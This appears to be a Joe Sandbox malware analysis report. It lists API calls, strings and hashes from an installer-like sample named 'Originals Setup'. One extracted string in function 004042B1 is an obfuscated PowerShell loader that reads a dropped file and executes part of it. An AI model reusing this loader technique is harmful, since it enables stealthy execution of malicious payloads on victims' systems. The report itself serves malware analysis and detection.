Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 0196788a60c407a34fa8085170a73220ab74af89f50f0ba942ff060579b96adb
Instruction ID: b3c8485646d9c058ec71e9ab696a48b88cadb806b99eba66945500c977f65eb2
Opcode Fuzzy Hash: 0196788a60c407a34fa8085170a73220ab74af89f50f0ba942ff060579b96adb
Instruction Fuzzy Hash: 1EC04C717442007AEA218F509D49F1777586750701F5544257254A51D0C6B4E410D66D

Function 0040306B Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402DF0,?), ref: 00403079

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Function 00403EA8 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403CD9), ref: 00403EB6

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: b349b1325232fe021fd412571e2c6441d382bb4e6ace6bfca539dacfea62cc2e
Instruction ID: 72d9328d989bd28a4b04e8d0bfc49dcb98a3c5c69b67aa4312834a6063493829
Opcode Fuzzy Hash: b349b1325232fe021fd412571e2c6441d382bb4e6ace6bfca539dacfea62cc2e
Instruction Fuzzy Hash: 54B01235685200BBEE324F00DD0DF497E72F764B02F008034B300240F0C6B300A5DB19

Function 00403E95 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403C72), ref: 00403E9F

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 9d98744450fa71a660f12360689da69116cf16b41945ad655af5f03ec15b630f
Instruction ID: 924e4898ca7b55125a55dbaf25208a334d7a0dcb277bd93e9961852eecaff849
Opcode Fuzzy Hash: 9d98744450fa71a660f12360689da69116cf16b41945ad655af5f03ec15b630f
Instruction Fuzzy Hash: 9BA00176808205ABCB029B60EF09D8ABF62BBA4705B028435E65594174DA325865FF9A

Non-executed Functions

Function 00404823 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 0040483B
GetDlgItem.USER32(?,00000408), ref: 00404846
GlobalAlloc.KERNEL32(00000040,?), ref: 00404890
LoadBitmapA.USER32(0000006E), ref: 004048A3
SetWindowLongA.USER32(?,000000FC,00404E1A), ref: 004048BC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004048D0
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004048E2
SendMessageA.USER32(?,00001109,00000002), ref: 004048F8
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404904
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404916
DeleteObject.GDI32(00000000), ref: 00404919
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404944
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404950
SendMessageA.USER32(?,00001100,00000000,?), ref: 004049E5
SendMessageA.USER32(?,0000110A,00000003,00000000), ref: 00404A10
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404A24
GetWindowLongA.USER32(?,000000F0), ref: 00404A53
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404A61
ShowWindow.USER32(?,00000005), ref: 00404A72
SendMessageA.USER32(?,00000419,00000000,?), ref: 00404B6F
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 00404BD4
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00404BE9
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 00404C0D
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 00404C2D
ImageList_Destroy.COMCTL32(00000000), ref: 00404C42
GlobalFree.KERNEL32(00000000), ref: 00404C52
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 00404CCB
SendMessageA.USER32(?,00001102,?,?), ref: 00404D74
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 00404D83
InvalidateRect.USER32(?,00000000,00000001), ref: 00404DA3
ShowWindow.USER32(?,00000000), ref: 00404DF1
GetDlgItem.USER32(?,000003FE), ref: 00404DFC
ShowWindow.USER32(00000000), ref: 00404E03

Strings

N, xrefs: 00404AAD
, xrefs: 00404DDB
M, xrefs: 004049CC

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 530fea0a5efbac08350800dd6edac4f541af9ecf28185b85d10bd058308ad18e
Instruction ID: e15dc7f2636af8312206252945434afb9f5109210b4da1b7208a5bfe9f4b469d
Opcode Fuzzy Hash: 530fea0a5efbac08350800dd6edac4f541af9ecf28185b85d10bd058308ad18e
Instruction Fuzzy Hash: F30281B0A00209AFDB20DF54DD45AAE7BB5FB84315F10813AF610BA2E1D7789E42DF58

Function 004042B1 Relevance: 26.5, APIs: 10, Strings: 5, Instructions: 274stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404300
SetWindowTextA.USER32(00000000,?), ref: 0040432A
SHBrowseForFolderA.SHELL32(?,0041F0B0,?), ref: 004043DB
CoTaskMemFree.OLE32(00000000), ref: 004043E6
lstrcmpiA.KERNEL32(: Completed,Originals Setup: Completed), ref: 00404418
lstrcatA.KERNEL32(?,: Completed), ref: 00404424
SetDlgItemTextA.USER32(?,000003FB,?), ref: 00404436

Part of subcall function 004053B5: GetDlgItemTextA.USER32(?,?,00000400,0040446D), ref: 004053C8

Part of subcall function 00405E28: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\HVSU7GbA5N.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040308E,C:\Users\user\AppData\Local\Temp\,75573410,00403268), ref: 00405E80
Part of subcall function 00405E28: CharNextA.USER32(?,?,?,00000000), ref: 00405E8D
Part of subcall function 00405E28: CharNextA.USER32(?,"C:\Users\user\Desktop\HVSU7GbA5N.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040308E,C:\Users\user\AppData\Local\Temp\,75573410,00403268), ref: 00405E92
Part of subcall function 00405E28: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,0040308E,C:\Users\user\AppData\Local\Temp\,75573410,00403268), ref: 00405EA2

GetDiskFreeSpaceA.KERNEL32(0041ECA8,?,?,0000040F,?,0041ECA8,0041ECA8,?,00000000,0041ECA8,?,?,000003FB,?), ref: 004044F3
MulDiv.KERNEL32(?,0000040F,00000400), ref: 0040450E

Part of subcall function 00404667: lstrlenA.KERNEL32(Originals Setup: Completed,Originals Setup: Completed,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404582,000000DF,00000000,00000400,?), ref: 00404705
Part of subcall function 00404667: wsprintfA.USER32 ref: 0040470D
Part of subcall function 00404667: SetDlgItemTextA.USER32(?,Originals Setup: Completed), ref: 00404720

Strings

"$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" , xrefs: 004042CA
A, xrefs: 004043D4
Originals Setup: Completed, xrefs: 004043AE, 00404411
C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens, xrefs: 00404401
: Completed, xrefs: 00404412, 00404417, 00404422

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: "$Delfisk=Get-Content -Raw 'C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens\Sprngningen178.Gte';$Bats=$Delfisk.SubString(73884,3);.$Bats($Delfisk)" $: Completed$A$C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens$Originals Setup: Completed
API String ID: 2624150263-968870177
Opcode ID: 91bfd2be80532f9d84de11e62587bd6305631a6878a96e32016dec978ead2281
Instruction ID: bbf5d18d822f9ae48c727ed4067559616aa27203017815afcead8a6077e661fe
Opcode Fuzzy Hash: 91bfd2be80532f9d84de11e62587bd6305631a6878a96e32016dec978ead2281
Instruction Fuzzy Hash: 26A172B1900208ABDB11DFA6CD45BAF77B8EF84315F10843BF605B62D1D77C9A418B69

Function 0040547D Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\,75573410,00000000), ref: 004054A6
lstrcatA.KERNEL32(00420CE0,\*.*,00420CE0,?,?,C:\Users\user\AppData\Local\Temp\,75573410,00000000), ref: 004054EE
lstrcatA.KERNEL32(?,00409014,?,00420CE0,?,?,C:\Users\user\AppData\Local\Temp\,75573410,00000000), ref: 0040550F
lstrlenA.KERNEL32(?,?,00409014,?,00420CE0,?,?,C:\Users\user\AppData\Local\Temp\,75573410,00000000), ref: 00405515
FindFirstFileA.KERNEL32(00420CE0,?,?,?,00409014,?,00420CE0,?,?,C:\Users\user\AppData\Local\Temp\,75573410,00000000), ref: 00405526
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 004055D3
FindClose.KERNEL32(00000000), ref: 004055E4

Strings

\*.*, xrefs: 004054E8
C:\Users\user\AppData\Local\Temp\, xrefs: 0040548B
"C:\Users\user\Desktop\HVSU7GbA5N.exe", xrefs: 0040547D

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\HVSU7GbA5N.exe"$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-316821613
Opcode ID: 3622af7b4e34dfa1073d2e94fd2a24ea7cd3a3c76273722f7a65329ed5da0391
Instruction ID: f67e5f98a1b48f8b06c5baa1d65efce896aecc78963fcddf766b22b57dd7cee7
Opcode Fuzzy Hash: 3622af7b4e34dfa1073d2e94fd2a24ea7cd3a3c76273722f7a65329ed5da0391
Instruction Fuzzy Hash: 1851C070800A04BADF21AB25CC45BAF7AB9DB42314F14417BF444752D6D73C9A82DEAD

Function 00402036 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040208B
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00407374,?,?), ref: 00402143

Strings

C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens, xrefs: 004020CB

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Local\Chillum19\rustiness\attacheringens
API String ID: 123533781-2870171211
Opcode ID: ca4ae825dc67163e39cab61414bf8ce73cd593aa0e1ad614b2f180b51b0ab79c
Instruction ID: d4c62fdc28843dfc30489809ccaf5da6a3b2e007b03a33f3ec024107d8c1ad9a
Opcode Fuzzy Hash: ca4ae825dc67163e39cab61414bf8ce73cd593aa0e1ad614b2f180b51b0ab79c
Instruction Fuzzy Hash: 20417D71A00209BFCB00EFA4CE88E9E7BB5BF48314B2042A9F911FB2D0D6799D41DB54

Function 00402645 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402654

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: 5285005a5125483a87b18e253de9f6a1e11305b0e3eef9b4f05c1d3784207578
Instruction ID: e6850a469ed090b17ef1dde7e6b5e911daaadda975b469663bbec5c58d3b5f53
Opcode Fuzzy Hash: 5285005a5125483a87b18e253de9f6a1e11305b0e3eef9b4f05c1d3784207578
Instruction Fuzzy Hash: B4F0A772604110ABD700E7749A49AEE7778DB51314F6045BBE141E20C1D3B85A41DA2A

Function 00403FBC Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00404047
GetDlgItem.USER32(00000000,000003E8), ref: 0040405B
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 00404079
GetSysColor.USER32(?), ref: 0040408A
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00404099
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 004040A8
lstrlenA.KERNEL32(?), ref: 004040AB
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 004040BA
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 004040CF
GetDlgItem.USER32(?,0000040A), ref: 00404131
SendMessageA.USER32(00000000), ref: 00404134
GetDlgItem.USER32(?,000003E8), ref: 0040415F
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 0040419F
LoadCursorA.USER32(00000000,00007F02), ref: 004041AE
SetCursor.USER32(00000000), ref: 004041B7
ShellExecuteA.SHELL32(0000070B,open,00422680,00000000,00000000,00000001), ref: 004041CA
LoadCursorA.USER32(00000000,00007F00), ref: 004041D7
SetCursor.USER32(00000000), ref: 004041DA
SendMessageA.USER32(00000111,00000001,00000000), ref: 00404206
SendMessageA.USER32(00000010,00000000,00000000), ref: 0040421A

Strings

N, xrefs: 0040414D
: Completed, xrefs: 0040418A
open, xrefs: 004041C2

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: : Completed$N$open
API String ID: 3615053054-3069340868
Opcode ID: 8a9ae112f1df4d10fa1381c7e2026d7722a962e20b7826b4dde34b5403f790f5
Instruction ID: 7c7fff9fd1e172092069843c90e077616bef9326b7299cf1cce5c9f34bd91e75
Opcode Fuzzy Hash: 8a9ae112f1df4d10fa1381c7e2026d7722a962e20b7826b4dde34b5403f790f5
Instruction Fuzzy Hash: 8961E5B1A40209BFEB109F60DD45F6A7B78FB44741F10403AFB05BA2D1C7B8A951CB99

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,Originals Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
Originals Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1454047488.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_HVSU7GbA5N.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Originals Setup
API String ID: 941294808-1618244422
Opcode ID: a90db4dcded700d55ffd4d6edc3f30b5524a69ea874a0a58a5b4fb777f83a2a0
Instruction ID: b42f37c54e1c8f574f2bede5c8fc4b0b0bf13e7bd3a3dea2e6496186089e6917
Opcode Fuzzy Hash: a90db4dcded700d55ffd4d6edc3f30b5524a69ea874a0a58a5b4fb777f83a2a0
Instruction Fuzzy Hash: A8419B71804249AFCB058F94CD459BFBBB9FF44310F00812AF961AA1A0C778EA50DFA5

Function 004058F5 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(00421A68,NUL,?,00000000,?,00000000,?,00405A99,?,?,00000001,0040563C,?,00000000,000000F1,?), ref: 00405905
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,?,00405A99,?,?,00000001,0040563C,?,00000000,000000F1,?), ref: 00405929
GetShortPathNameA.KERNEL32(00000000,00421A68,00000400), ref: 00405932

Part of subcall function 004057B3: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004059E2,00000000,[Rename],00000000,00000000,00000000), ref: 004057C3
Part of subcall function 004057B3: lstrlenA.KERNEL32(004059E2,?,00000000,004059E2,00000000,[Rename],00000000,00000000,00000000), ref: 004057F5

GetShortPathNameA.KERNEL32(?,00421E68,00000400), ref: 0040594F
wsprintfA.USER32 ref: 0040596D
GetFileSize.KERNEL32(00000000,00000000,00421E68,C0000000,00000004,00421E68,?,?,?,?,?), ref: 004059A8
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 004059B7
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 004059EF
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00421668,00000000,-0000000A,00409388,00000000,[Rename],00000000,00000000,00000000), ref: 00405A45
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405A57
GlobalFree.KERNEL32(00000000), ref: 00405A5E
CloseHandle.KERNEL32(00000000), ref: 00405A65

Part of subcall function 0040584E: GetFileAttributesA.KERNELBASE(00000003,00402C69,C:\Users\user\Desktop\HVSU7GbA5N.exe,80000000,00000003), ref: 00405852
Part of subcall function 0040584E: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405874

Strings

[Rename], xrefs: 004059D7, 004059E9
NUL, xrefs: 004058FF
%s=%s, xrefs: 00405963

Memory Dump Source

Source File: 00000000.00000002.1453762285.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1453745512.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453832641.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1453905681.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
